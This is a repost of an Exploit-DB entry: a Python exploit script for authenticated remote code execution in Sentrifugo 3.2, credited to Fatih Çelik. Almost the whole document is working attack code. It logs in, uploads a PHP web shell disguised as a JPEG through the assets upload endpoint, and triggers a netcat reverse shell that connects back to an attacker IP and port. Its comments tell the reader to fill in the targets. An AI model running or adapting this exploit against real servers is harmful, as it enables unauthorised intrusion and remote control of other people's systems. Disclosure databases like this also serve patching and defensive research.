Sentrifugo 3.2 – ‘assets’ Remote Code Execution (Authenticated) - 体验盒子

作者： Fatih Çelik

日期： 2020-11-06

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/48997/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

# Exploit Title: Sentrifugo 3.2 - 'assets' Remote Code Execution (Authenticated)

# Google Dork: N/A

# Date: 2020.10.06

# Exploit Author: Fatih Çelik

# Vendor Homepage: https://sourceforge.net/projects/sentrifugo/

# Software Link: https://sourceforge.net/projects/sentrifugo/

# Blog: https://fatihhcelik.blogspot.com/2020/10/sentrifugo-version-32-rce-authenticated_6.html

# Version: 3.2

# Tested on: Kali Linux 2020.2

# CVE : N/A

import requests

from bs4 import BeautifulSoup

from ast import literal_eval

'''

You should change the below hardcoded inputs to get a reverse shell.

'''

login_url = "http://XXX.XXX.XXX.XXX/sentrifugo/index.php/index/loginpopupsave"

upload_url = "http://XXX.XXX.XXX.XXX/sentrifugo/index.php/assets/assets/uploadsave"

call_shell = "http://XXX.XXX.XXX.XXX/sentrifugo/public/uploads/assets_images_temp/"

username = "xxxx"

password = "xxxx"

attacker_ip = "XXX.XXX.XXX.XXX"

listener_port = "4444"

# Set proxy for debugging purposes

proxy = {"http": "http://XXX.XXX.XXX.XXX:8080"}

# Log in to the system

session = requests.Session()

request = session.get(login_url)

body = {"username":username,"password":password}

# session.post(login_url, data=body, proxies=proxy)

session.post(login_url, data=body) # Send a request without proxy

print("Logged in to the application..")

# Upload the PHP shell

files = [

('myfile',

('shell.php',

'<?php system(\'nc.traditional {} {} -e /bin/bash\'); ?>'.format(attacker_ip,listener_port),

'image/jpeg')

)

]

# r = session.post(upload_url, files=files, proxies=proxy)

r = session.post(upload_url, files=files) # Send a request without proxy

response = r.content

dict_str = response.decode("UTF-8")

response = literal_eval(dict_str) # Convert bytes to dictionary

filename = response["filedata"]["new_name"]

url = call_shell + filename

print("PHP file is uploaded --> {}".format(url))

# Trigger the shell

session.get(url)